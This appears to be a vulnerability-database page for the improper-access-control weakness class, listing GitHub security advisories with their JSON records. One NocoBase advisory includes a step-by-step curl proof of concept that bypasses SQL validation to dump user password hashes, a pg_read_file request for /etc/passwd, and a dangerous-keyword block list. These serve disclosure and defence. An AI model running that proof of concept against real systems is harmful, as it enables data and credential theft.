Common Weakness Enumeration

CWE-284

Discouraged

Improper Access Control

Abstraction: Pillar · Status: Incomplete

API response cwe.mitre.org

The product does not restrict or incorrectly restricts access to a resource from an unauthorized actor.

7800 vulnerabilities reference this CWE, most recent first.

GHSA-WRHX-3PXR-6VGG

Vulnerability from github – Published: 2022-05-24 16:49 – Updated: 2024-05-15 22:44
VLAI
Summary
Wikimedia MediaWiki Incorrect Access Control vulnerability
Details

An Incorrect Access Control vulnerability was found in Wikimedia MediaWiki 1.27.0 through 1.32.1. Directly POSTing to Special:ChangeEmail would allow for bypassing re-authentication, allowing for potential account takeover.

Severity
9.8 (Critical)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
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{
  "affected": [
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.27.0"
            },
            {
              "fixed": "1.27.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.30.0"
            },
            {
              "fixed": "1.30.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.31.0"
            },
            {
              "fixed": "1.31.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Packagist",
        "name": "mediawiki/core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.32.0"
            },
            {
              "fixed": "1.32.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2019-12468"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-05-15T22:44:04Z",
    "nvd_published_at": "2019-07-10T15:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An Incorrect Access Control vulnerability was found in Wikimedia MediaWiki 1.27.0 through 1.32.1. Directly POSTing to Special:ChangeEmail would allow for bypassing re-authentication, allowing for potential account takeover.",
  "id": "GHSA-wrhx-3pxr-6vgg",
  "modified": "2024-05-15T22:44:04Z",
  "published": "2022-05-24T16:49:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-12468"
    },
    {
      "type": "WEB",
      "url": "https://github.com/FriendsOfPHP/security-advisories/blob/master/mediawiki/core/CVE-2019-12468.yaml"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/wikimedia/mediawiki"
    },
    {
      "type": "WEB",
      "url": "https://lists.wikimedia.org/pipermail/mediawiki-announce"
    },
    {
      "type": "WEB",
      "url": "https://lists.wikimedia.org/pipermail/wikitech-l/2019-June/092152.html"
    },
    {
      "type": "WEB",
      "url": "https://phabricator.wikimedia.org/T197279"
    },
    {
      "type": "WEB",
      "url": "https://seclists.org/bugtraq/2019/Jun/12"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2019/dsa-4460"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Wikimedia MediaWiki Incorrect Access Control vulnerability"
}

GHSA-WRJ5-RCWW-HH9R

Vulnerability from github – Published: 2026-07-07 21:31 – Updated: 2026-07-09 18:31
VLAI
Details

An improper access check allows unauthorized users to access com_privacy datasets.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
6.4 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:H
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{
  "affected": [],
  "aliases": [
    "CVE-2026-48957"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-07-07T19:16:54Z",
    "severity": "MODERATE"
  },
  "details": "An improper access check allows unauthorized users to access com_privacy datasets.",
  "id": "GHSA-wrj5-rcww-hh9r",
  "modified": "2026-07-09T18:31:34Z",
  "published": "2026-07-07T21:31:35Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-48957"
    },
    {
      "type": "WEB",
      "url": "https://developer.joomla.org/security-centre/1065-20260711-core-incorrect-access-control-in-com-privacy-webservice-endpoints.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:L/VI:N/VA:N/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-WRM3-H327-J8WH

Vulnerability from github – Published: 2023-11-06 15:30 – Updated: 2023-11-06 15:30
VLAI
Details

An issue has been discovered in GitLab EE affecting all versions starting from 11.6 before 16.3.6, all versions starting from 16.4 before 16.4.2, all versions starting from 16.5 before 16.5.1. It was possible for an unauthorised project or group member to read the CI/CD variables using the custom project templates.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2023-3399"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-201",
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-11-06T13:15:09Z",
    "severity": "MODERATE"
  },
  "details": "An issue has been discovered in GitLab EE affecting all versions starting from 11.6 before 16.3.6, all versions starting from 16.4 before 16.4.2, all versions starting from 16.5 before 16.5.1. It was possible for an unauthorised project or group member to read the CI/CD variables using the custom project templates.",
  "id": "GHSA-wrm3-h327-j8wh",
  "modified": "2023-11-06T15:30:31Z",
  "published": "2023-11-06T15:30:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-3399"
    },
    {
      "type": "WEB",
      "url": "https://hackerone.com/reports/2021616"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/gitlab-org/gitlab/-/issues/416244"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WRP8-5MGV-29CC

Vulnerability from github – Published: 2022-05-17 02:49 – Updated: 2022-05-17 02:49
VLAI
Details

Cybozu Office 9.0.0 through 10.4.0 allows remote attackers to conduct a "reflected file download" attack.

Severity
3.5 (Low)
CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2016-4874"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-04-17T15:59:00Z",
    "severity": "LOW"
  },
  "details": "Cybozu Office 9.0.0 through 10.4.0 allows remote attackers to conduct a \"reflected file download\" attack.",
  "id": "GHSA-wrp8-5mgv-29cc",
  "modified": "2022-05-17T02:49:00Z",
  "published": "2022-05-17T02:49:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-4874"
    },
    {
      "type": "WEB",
      "url": "https://support.cybozu.com/ja-jp/article/9434"
    },
    {
      "type": "WEB",
      "url": "http://jvn.jp/en/jp/JVN11288252/index.html"
    },
    {
      "type": "WEB",
      "url": "http://jvndb.jvn.jp/en/contents/2016/JVNDB-2016-000193.html"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/97719"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WRWH-5F9J-74C6

Vulnerability from github – Published: 2025-04-01 00:30 – Updated: 2025-11-04 00:32
VLAI
Details

A permissions issue was addressed by removing vulnerable code and adding additional checks. This issue is fixed in macOS Ventura 13.7.5, macOS Sequoia 15.4, macOS Sonoma 14.7.5. An app may be able to access protected user data.

Severity
7.4 (High)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
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{
  "affected": [],
  "aliases": [
    "CVE-2025-30460"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-03-31T23:15:27Z",
    "severity": "HIGH"
  },
  "details": "A permissions issue was addressed by removing vulnerable code and adding additional checks. This issue is fixed in macOS Ventura 13.7.5, macOS Sequoia 15.4, macOS Sonoma 14.7.5. An app may be able to access protected user data.",
  "id": "GHSA-wrwh-5f9j-74c6",
  "modified": "2025-11-04T00:32:24Z",
  "published": "2025-04-01T00:30:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-30460"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122373"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122374"
    },
    {
      "type": "WEB",
      "url": "https://support.apple.com/en-us/122375"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/10"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/8"
    },
    {
      "type": "WEB",
      "url": "http://seclists.org/fulldisclosure/2025/Apr/9"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WRWH-C28M-9JJH

Vulnerability from github – Published: 2026-04-22 20:07 – Updated: 2026-05-08 20:10
VLAI
Summary
@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call
Details

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pg_read_file, LOAD_FILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

// Line 51-60 — execute action: checkSQL IS called
execute: async (ctx: Context, next: Next) => {
    const { sql } = ctx.action.params.values || {};
    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }
    // ...
}

checkSQL is NOT applied on update

// Line 105-118 — update action: checkSQL IS NOT called
update: async (ctx: Context, next: Next) => {
    const transaction = await ctx.app.db.sequelize.transaction();
    try {
        const { upRes } = await updateCollection(ctx, transaction);
        // No checkSQL() call anywhere in this path!
        const [collection] = upRes;
        await collection.load({ transaction, resetFields: true });
        await transaction.commit();
    }
    // ...
}

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

export const checkSQL = (sql: string) => {
  const dangerKeywords = [
    'pg_read_file', 'pg_write_file', 'pg_ls_dir', 'LOAD_FILE',
    'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'lo_import', // ...
  ];
  sql = sql.trim().split(';').shift();
  if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) {
    throw new Error('Only supports SELECT statements or WITH clauses');
  }
  if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) {
    throw new Error('SQL statements contain dangerous keywords');
  }
};

PoC

TOKEN="<admin_jwt_token>"

# Step 1: Create collection with valid SQL (passes checkSQL)
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "name": "exfil_collection",
    "sql": "SELECT 1 as id",
    "fields": [{"name": "id", "type": "integer"}],
    "template": "sql"
  }'

# Step 2: Verify checkSQL blocks dangerous SQL on create
curl -s http://TARGET:13000/api/collections:create \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{"name": "blocked", "sql": "SELECT pg_read_file('\''/etc/passwd'\'')", "fields": [], "template": "sql"}'
# Returns: 400 "SQL statements contain dangerous keywords"

# Step 3: Update with dangerous SQL — bypasses checkSQL entirely
curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection" \
  -X POST \
  -H "Authorization: Bearer $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "sql": "SELECT * FROM users",
    "fields": [
      {"name": "id", "type": "integer"},
      {"name": "email", "type": "string"},
      {"name": "password", "type": "string"}
    ]
  }'
# Returns: 200 OK — no validation!

# Step 4: Query the collection to exfiltrate data
curl -s "http://TARGET:13000/api/exfil_collection:list" \
  -H "Authorization: Bearer $TOKEN"
# Returns: all rows from users table including password hashes

Impact

  • Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes.
  • Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pg_read_file, LOAD_FILE, dblink) are all accessible through the update bypass.
  • Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pg_read_file reads arbitrary files from the database server filesystem.

Fix Suggestion

  1. Add checkSQL() to the update action. The one-line fix: javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... }

  2. Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cannot accidentally skip it.

  3. Strengthen the blocklist. The current list is missing COPY (PostgreSQL file I/O and RCE), CREATE, ALTER, DROP, GRANT, SET, and EXECUTE. Consider switching to a parser-based allowlist that only permits SELECT and WITH ... SELECT at the AST level rather than relying on keyword blocklisting.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "@nocobase/plugin-collection-sql"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.39"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-41641"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-89"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-22T20:07:11Z",
    "nvd_published_at": "2026-05-07T06:16:05Z",
    "severity": "HIGH"
  },
  "details": "## Summary\n\nThe `checkSQL()` validation function that blocks dangerous SQL keywords (e.g., `pg_read_file`, `LOAD_FILE`, `dblink`) is applied on the `collections:create` and `sqlCollection:execute` endpoints but is entirely missing on the `sqlCollection:update` endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.\n\n**Affected component:** `@nocobase/plugin-collection-sql`\n**Affected versions:** \u003c= 2.0.32 (confirmed)\n**Minimum privilege:** Collection management permissions (`pm.data-source-manager.collection-sql` snippet)\n\n## Vulnerable Code\n\n### `checkSQL` is applied on create and execute\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts`\n\n```javascript\n// Line 51-60 \u2014 execute action: checkSQL IS called\nexecute: async (ctx: Context, next: Next) =\u003e {\n    const { sql } = ctx.action.params.values || {};\n    try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n    // ...\n}\n```\n\n### `checkSQL` is NOT applied on update\n\n```javascript\n// Line 105-118 \u2014 update action: checkSQL IS NOT called\nupdate: async (ctx: Context, next: Next) =\u003e {\n    const transaction = await ctx.app.db.sequelize.transaction();\n    try {\n        const { upRes } = await updateCollection(ctx, transaction);\n        // No checkSQL() call anywhere in this path!\n        const [collection] = upRes;\n        await collection.load({ transaction, resetFields: true });\n        await transaction.commit();\n    }\n    // ...\n}\n```\n\n### The `checkSQL` function itself\n\n`packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28`\n\n```javascript\nexport const checkSQL = (sql: string) =\u003e {\n  const dangerKeywords = [\n    \u0027pg_read_file\u0027, \u0027pg_write_file\u0027, \u0027pg_ls_dir\u0027, \u0027LOAD_FILE\u0027,\n    \u0027INTO OUTFILE\u0027, \u0027INTO DUMPFILE\u0027, \u0027dblink\u0027, \u0027lo_import\u0027, // ...\n  ];\n  sql = sql.trim().split(\u0027;\u0027).shift();\n  if (!/^select/i.test(sql) \u0026\u0026 !/^with([\\s\\S]+)select([\\s\\S]+)/i.test(sql)) {\n    throw new Error(\u0027Only supports SELECT statements or WITH clauses\u0027);\n  }\n  if (dangerKeywords.some((keyword) =\u003e sql.toLowerCase().includes(keyword.toLowerCase()))) {\n    throw new Error(\u0027SQL statements contain dangerous keywords\u0027);\n  }\n};\n```\n\n## PoC\n\n```bash\nTOKEN=\"\u003cadmin_jwt_token\u003e\"\n\n# Step 1: Create collection with valid SQL (passes checkSQL)\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"name\": \"exfil_collection\",\n    \"sql\": \"SELECT 1 as id\",\n    \"fields\": [{\"name\": \"id\", \"type\": \"integer\"}],\n    \"template\": \"sql\"\n  }\u0027\n\n# Step 2: Verify checkSQL blocks dangerous SQL on create\ncurl -s http://TARGET:13000/api/collections:create \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\"name\": \"blocked\", \"sql\": \"SELECT pg_read_file(\u0027\\\u0027\u0027/etc/passwd\u0027\\\u0027\u0027)\", \"fields\": [], \"template\": \"sql\"}\u0027\n# Returns: 400 \"SQL statements contain dangerous keywords\"\n\n# Step 3: Update with dangerous SQL \u2014 bypasses checkSQL entirely\ncurl -s \"http://TARGET:13000/api/sqlCollection:update?filterByTk=exfil_collection\" \\\n  -X POST \\\n  -H \"Authorization: Bearer $TOKEN\" \\\n  -H \"Content-Type: application/json\" \\\n  -d \u0027{\n    \"sql\": \"SELECT * FROM users\",\n    \"fields\": [\n      {\"name\": \"id\", \"type\": \"integer\"},\n      {\"name\": \"email\", \"type\": \"string\"},\n      {\"name\": \"password\", \"type\": \"string\"}\n    ]\n  }\u0027\n# Returns: 200 OK \u2014 no validation!\n\n# Step 4: Query the collection to exfiltrate data\ncurl -s \"http://TARGET:13000/api/exfil_collection:list\" \\\n  -H \"Authorization: Bearer $TOKEN\"\n# Returns: all rows from users table including password hashes\n```\n\n## Impact\n\n- **Confidentiality:** Arbitrary `SELECT` queries exfiltrate any table. Confirmed dump of the `users` table including password hashes.\n- **Integrity/Availability:** Although `checkSQL` strips after the first semicolon, dangerous single-statement operations like `SELECT ... INTO`, subqueries with side effects, or database-specific functions (`pg_read_file`, `LOAD_FILE`, `dblink`) are all accessible through the update bypass.\n- **Privilege escalation:** On PostgreSQL, `dblink` enables lateral movement to other databases. `pg_read_file` reads arbitrary files from the database server filesystem.\n\n## Fix Suggestion\n\n1. **Add `checkSQL()` to the `update` action.** The one-line fix:\n   ```javascript\n   update: async (ctx: Context, next: Next) =\u003e {\n       const { sql } = ctx.action.params.values || {};\n       if (sql) {\n           try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); }\n       }\n       // ... existing code ...\n   }\n   ```\n\n2. **Centralize validation in middleware** rather than per-action. Apply `checkSQL` in the resource middleware for any action that accepts a `sql` field, so future actions cannot accidentally skip it.\n\n3. **Strengthen the blocklist.** The current list is missing `COPY` (PostgreSQL file I/O and RCE), `CREATE`, `ALTER`, `DROP`, `GRANT`, `SET`, and `EXECUTE`. Consider switching to a parser-based allowlist that only permits `SELECT` and `WITH ... SELECT` at the AST level rather than relying on keyword blocklisting.",
  "id": "GHSA-wrwh-c28m-9jjh",
  "modified": "2026-05-08T20:10:02Z",
  "published": "2026-04-22T20:07:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/security/advisories/GHSA-wrwh-c28m-9jjh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41641"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/pull/9134"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/commit/851aee543efa894142e0f7be03eb55d9cec06a91"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/nocobase/nocobase"
    },
    {
      "type": "WEB",
      "url": "https://github.com/nocobase/nocobase/releases/tag/v2.0.39"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "@nocobase/plugin-collection-sql: SQL Validation Bypass Through Missing `checkSQL` Call"
}

GHSA-WRXP-682M-VM9P

Vulnerability from github – Published: 2022-05-24 17:22 – Updated: 2025-10-22 00:31
VLAI
Details

Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints.

Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-8193"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-287",
      "CWE-862"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-07-10T16:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints.",
  "id": "GHSA-wrxp-682m-vm9p",
  "modified": "2025-10-22T00:31:56Z",
  "published": "2022-05-24T17:22:46Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-8193"
    },
    {
      "type": "WEB",
      "url": "https://support.citrix.com/article/CTX276688"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2020-8193"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WRXQ-9FMF-HQ5J

Vulnerability from github – Published: 2025-08-03 00:30 – Updated: 2025-08-03 00:30
VLAI
Details

NVIDIA Display Driver for Linux and Windows contains a vulnerability in the kernel mode driver, where an attacker could access memory outside bounds permitted under normal use cases. A successful exploit of this vulnerability might lead to denial of service, data tampering, or information disclosure.

Severity
7.3 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-23277"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-08-02T22:15:44Z",
    "severity": "HIGH"
  },
  "details": "NVIDIA Display Driver for Linux and Windows contains a vulnerability in the kernel mode driver, where an attacker could access memory outside bounds permitted under normal use cases. A successful exploit of this vulnerability might lead to denial of service, data tampering, or information disclosure.",
  "id": "GHSA-wrxq-9fmf-hq5j",
  "modified": "2025-08-03T00:30:23Z",
  "published": "2025-08-03T00:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-23277"
    },
    {
      "type": "WEB",
      "url": "https://https://nvidia.custhelp.com/app/answers/detail/a_id/5670"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WV3C-RCM7-6MQ5

Vulnerability from github – Published: 2024-01-03 03:30 – Updated: 2025-06-18 18:30
VLAI
Details

HCL DRYiCE MyXalytics is impacted by Improper Access Control (Obsolete web pages) vulnerability. Discovery of outdated and accessible web pages, reflects a "Missing Access Control" vulnerability, which could lead to inadvertent exposure of sensitive information and/or exposing a vulnerable endpoint.

Severity
7.6 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-50341"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-01-03T03:15:10Z",
    "severity": "HIGH"
  },
  "details": "HCL DRYiCE MyXalytics is impacted by Improper Access Control (Obsolete web pages) vulnerability. Discovery of outdated and accessible web pages, reflects a \"Missing Access Control\" vulnerability, which could lead to inadvertent exposure of sensitive information and/or exposing a vulnerable endpoint.",
  "id": "GHSA-wv3c-rcm7-6mq5",
  "modified": "2025-06-18T18:30:21Z",
  "published": "2024-01-03T03:30:33Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-50341"
    },
    {
      "type": "WEB",
      "url": "https://support.hcltechsw.com/csm?id=kb_article\u0026sysparm_article=KB0109608"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-WV42-8M6M-MMVP

Vulnerability from github – Published: 2024-11-08 06:30 – Updated: 2024-11-08 06:30
VLAI
Details

A vulnerability, which was classified as critical, was found in Codezips Online Institute Management System 1.0. Affected is an unknown function of the file /manage_website.php. The manipulation of the argument website_image leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.

Severity
6.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
5.3 (Medium)
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-10993"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-284",
      "CWE-434"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-08T06:15:14Z",
    "severity": "MODERATE"
  },
  "details": "A vulnerability, which was classified as critical, was found in Codezips Online Institute Management System 1.0. Affected is an unknown function of the file /manage_website.php. The manipulation of the argument website_image leads to unrestricted upload. It is possible to launch the attack remotely. The exploit has been disclosed to the public and may be used.",
  "id": "GHSA-wv42-8m6m-mmvp",
  "modified": "2024-11-08T06:30:48Z",
  "published": "2024-11-08T06:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10993"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NG0324/CVE/issues/2"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.283458"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.283458"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?submit.437409"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}
Mitigation MIT-1
Architecture and Design Operation

Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.

Mitigation MIT-46
Architecture and Design

Strategy: Separation of Privilege

  • Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
  • Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
CAPEC-19: Embedding Scripts within Scripts

